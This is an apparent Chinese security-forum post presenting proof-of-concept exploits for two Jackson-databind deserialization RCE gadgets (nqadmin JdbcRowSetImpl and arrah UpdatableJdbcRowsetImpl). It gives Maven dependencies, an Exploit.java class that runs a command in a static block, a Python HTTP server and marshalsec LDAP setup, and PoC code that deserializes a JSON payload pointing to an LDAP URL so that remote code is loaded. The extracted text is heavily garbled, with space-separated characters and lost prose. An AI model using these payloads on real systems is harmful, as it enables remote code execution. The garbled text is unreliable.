[18154] 2020-10-07_CVE-2020-xxxxJackson-databindRCE两则

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2020-10-07_CVE-2020-xxxxJackson-databindRCE两则 C V E - 2 0 2 0 - x x x x : J a c k s o n - d a t a b i n d   R C E A l 1 e x   H A C K   2 0 2 0 - 1 0 - 0 7 A l 1 e x           C V E - 2 0 2 0 - x x x x : J a c k s o n - d a t a b i n d   R C E G i t h u b G a d g e t J a c k s o n - d a t a b i n d   R C E ( ) j a c k s o n - d a t a b i n d   b e f o r e   2 . 9 . 1 0 . 4 j a c k s o n - d a t a b i n d   b e f o r e   2 . 8 . 1 1 . 6 j a c k s o n - d a t a b i n d   b e f o r e   2 . 7 . 9 . 7 e n a b l e D e f a u l t T y p i n g ( ) 使 c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l j a c k s o n - d a t a b i n d J D K R C E p o m . x m l
< d e p e n d e n c i e s >         < d e p e n d e n c y >             < g r o u p I d > c o m . f a s t e r x m l . j a c k s o n . c o r e < / g r o u p I d >             < a r t i f a c t I d > j a c k s o n - d a t a b i n d < / a r t i f a c t I d >             < v e r s i o n > 2 . 9 . 1 0 . 4 < / v e r s i o n >         < / d e p e n d e n c y >         < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / c o m . p a s t d e v . h t t p c o m p o n e n t s / c o n f i g u r a t i o n   - - >         < d e p e n d e n c y >                 < g r o u p I d > c o m . n q a d m i n . r o w s e t < / g r o u p I d >                 < a r t i f a c t I d > j d b c r o w s e t i m p l < / a r t i f a c t I d >                 < v e r s i o n > 1 . 0 . 1 < / v e r s i o n >         < / d e p e n d e n c y >         < d e p e n d e n c y >             < g r o u p I d > o r g . s l f 4 j < / g r o u p I d >             < a r t i f a c t I d > s l f 4 j - n o p < / a r t i f a c t I d >             < v e r s i o n > 1 . 7 . 2 < / v e r s i o n >         < / d e p e n d e n c y >         < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / j a v a x . t r a n s a c t i o n / j t a   - - >             < d e p e n d e n c y >                     < g r o u p I d > j a v a x . t r a n s a c t i o n < / g r o u p I d >                     < a r t i f a c t I d > j t a < / a r t i f a c t I d >                     < v e r s i o n > 1 . 1 < / v e r s i o n >             < / d e p e n d e n c y >     < / d e p e n d e n c i e s > E x p l o i t . j a v a
i m p o r t   j a v a . l a n g . R u n t i m e ; p u b l i c   c l a s s   E x p l o i t   {         s t a t i c   {                 t r y   {                         R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c a l c " ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } } E x p l o i t . j a v a 使 P y t h o n W e b ~ p y t h o n   - m     S i m p l e H T T P S e r v e r   4 4 4 4 L D A P P O C :
i m p o r t   c o m . f a s t e r x m l . j a c k s o n . d a t a b i n d . O b j e c t M a p p e r ; p u b l i c   c l a s s   P O C   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 S t r i n g   p a y l o a d   =   " [ " c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l " , { " d a t a S o u r c e N a m e " : " l d a p : / / 1 2 7 . 0 . 0 . 1 : 1 0 9 9 / E x p l o i t " , " a u t o C o m m i t " : " t r u e " } ] " ;                 O b j e c t M a p p e r   m a p p e r   =   n e w   O b j e c t M a p p e r ( ) ;                 m a p p e r . e n a b l e D e f a u l t T y p i n g ( ) ;                 m a p p e r . r e a d V a l u e ( p a y l o a d ,   O b j e c t . c l a s s ) ;         } } c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l P O C d a t a S o u r c e N a m e s e t D a t a S o u r c e N a m e D a t a S o u r c e N a m e n u l l e l s e s e t D a t a S o u r c e N a m e
s e t D a t a S o u r c e N a m e d a t a S o u r c e R C E p a y l o a d a u t o C o m m i t a u t o C o m m i t s e t a u t o C o m m i t c o n n n u l l e l s e t h i s . c o n n e c t ( ) t h i s . c o n n e c t J N D I " t h i s . g e t D a t a S o u r c e N a m e "
D a t a S o u r c e N a m e J N D I R C E : m a p p e r . r e a d V a l u e         - > c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l . s e t D a t a S o u r c e N a m e                 - > j a v a x . s q l . r o w s e t . B a s e R o w S e t . s e t D a t a S o u r c e N a m e                         - > c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l . s e t A u t o C o m m i t                                 - > t h i s . c o n n e c t ( )                                         - > ( D a t a S o u r c e ) c t x . l o o k u p ( t h i s . g e t D a t a S o u r c e N a m e ( ) ) j a c k s o n - d a t a b i n d J D K J a c k s o n - d a t a b i n d   R C E ( ) j a c k s o n - d a t a b i n d   b e f o r e   2 . 9 . 1 0 . 4 j a c k s o n - d a t a b i n d   b e f o r e   2 . 8 . 1 1 . 6
j a c k s o n - d a t a b i n d   b e f o r e   2 . 7 . 9 . 7 e n a b l e D e f a u l t T y p i n g ( ) 使 o r g . a r r a h . f r a m e w o r k . r d b m s . U p d a t a b l e J d b c R o w s e t I m p l o r g . a r r a h . f r a m e w o r k . r d b m s . U p d a t a b l e J d b c R o w s e t I m p l j a c k s o n - d a t a b i n d J D K R C E < d e p e n d e n c i e s >         < d e p e n d e n c y >             < g r o u p I d > c o m . f a s t e r x m l . j a c k s o n . c o r e < / g r o u p I d >             < a r t i f a c t I d > j a c k s o n - d a t a b i n d < / a r t i f a c t I d >             < v e r s i o n > 2 . 9 . 1 0 . 4 < / v e r s i o n >         < / d e p e n d e n c y >         < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / c o m . p a s t d e v . h t t p c o m p o n e n t s / c o n f i g u r a t i o n   - - >         < d e p e n d e n c y >                 < g r o u p I d > o r g . a r r a h t e c < / g r o u p I d >                 < a r t i f a c t I d > p r o f i l e r - c o r e < / a r t i f a c t I d >                 < v e r s i o n > 6 . 1 . 7 < / v e r s i o n >         < / d e p e n d e n c y >         < d e p e n d e n c y >             < g r o u p I d > o r g . s l f 4 j < / g r o u p I d >             < a r t i f a c t I d > s l f 4 j - n o p < / a r t i f a c t I d >             < v e r s i o n > 1 . 7 . 2 < / v e r s i o n >         < / d e p e n d e n c y >         < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / j a v a x . t r a n s a c t i o n / j t a   - - >             < d e p e n d e n c y >                     < g r o u p I d > j a v a x . t r a n s a c t i o n < / g r o u p I d >                     < a r t i f a c t I d > j t a < / a r t i f a c t I d >                     < v e r s i o n > 1 . 1 < / v e r s i o n >             < / d e p e n d e n c y >     < / d e p e n d e n c i e s >
E x p l o i t . j a v a i m p o r t   j a v a . l a n g . R u n t i m e ; p u b l i c   c l a s s   E x p l o i t   {         s t a t i c   {                 t r y   {                         R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c a l c " ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } } 使 P y t h o n W e b 使 m a r s h a l s e c L D A P P O C :
i m p o r t   c o m . f a s t e r x m l . j a c k s o n . d a t a b i n d . O b j e c t M a p p e r ; p u b l i c   c l a s s   P O C   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 S t r i n g   p a y l o a d   =   " [ " o r g . a r r a h . f r a m e w o r k . r d b m s . U p d a t a b l e J d b c R o w s e t I m p l " , { " d a t a S o u r c e N a m e " : " l d a p : / / 1 2 7 . 0 . 0 . 1 : 1 0 9 9 / E x p l o i t " , " a u t o C o m m i t " : " t r u e " } ] " ;                 O b j e c t M a p p e r   m a p p e r   =   n e w   O b j e c t M a p p e r ( ) ;                 m a p p e r . e n a b l e D e f a u l t T y p i n g ( ) ;                 m a p p e r . r e a d V a l u e ( p a y l o a d ,   O b j e c t . c l a s s ) ;         } } o r g . a r r a h . f r a m e w o r k . r d b m s . U p d a t a b l e J d b c R o w s e t I m p l P O C d a t a S o u r c e N a m e s e t D a t a S o u r c e N a m e D a t a S o u r c e N a m e n u l l e l s e s e t D a t a S o u r c e N a m e
s e t D a t a S o u r c e N a m e d a t a S o u r c e p a y l o a d a u t o C o m m i t , a u t o C o m m i t s e t a u t o C o m m i t c o n n n u l l e l s e t h i s . c o n n e c t ( ) t h i s . c o n n e c t J N D I " t h i s . g e t D a t a S o u r c e N a m e " D a t a S o u r c e N a m e J N D I R C E :
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则